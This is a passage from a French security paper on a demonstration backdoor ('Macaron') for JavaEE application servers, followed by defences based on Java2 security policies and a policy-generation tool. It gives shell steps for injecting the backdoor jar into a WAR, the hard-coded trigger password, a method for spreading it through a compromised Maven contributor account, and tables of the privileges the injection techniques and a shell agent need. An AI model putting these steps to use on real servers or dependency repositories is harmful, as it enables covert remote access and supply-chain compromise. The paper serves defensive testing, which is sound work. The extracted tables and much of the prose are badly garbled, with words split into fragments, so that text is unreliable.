Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

